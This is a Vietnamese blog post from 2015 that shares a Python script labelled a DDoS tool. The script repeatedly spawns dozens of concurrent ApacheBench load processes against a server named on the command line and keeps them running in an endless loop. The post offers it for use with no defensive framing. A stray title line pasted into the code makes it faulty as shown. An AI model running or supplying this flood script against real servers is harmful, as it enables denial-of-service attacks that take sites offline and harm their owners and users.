Thứ Sáu, 7 tháng 8, 2015

share code ddos .py

Posted By: Unknown - 19:33
#!/usr/bin/env python
import sys
share code ddos .py

if len(sys.argv) < 3:
    sys.exit("Usage: ddos.py [spawn_limit] [target]")

import subprocess
limit = int(sys.argv[1])
server = sys.argv[2]
spawnlist = []

def new_process():
    return subprocess.Popen("ab -c50 -t60 -r " + server, shell=True, stdout=subprocess.PIPE)

def check_spawned():
    for t_obj in spawnlist:
        proc,pid = t_obj
        if not proc.poll() == None:
            print("-> hit: " + pid)
            x = spawnlist.index(t_obj)
            del spawnlist[x]

def need_more_ammo():
    return len(spawnlist) < limit

while True:
    while need_more_ammo():
        proc = new_process()
        pid = str(proc.pid)
        spawnlist.append((proc,pid))
        print("-> firing: " + str(proc.pid))
    check_spawned()

About Unknown

Organic Theme is officially developed by Templatezy Team. We published High quality Blogger Templates with Awesome Design for blogspot lovers.The very first Blogger Templates Company where you will find Responsive Design Templates.

0 nhận xét :

Đăng nhận xét

Copyright © 2015 IT Vui Vẻ

Designed by Templatezy & Copy Blogger Themes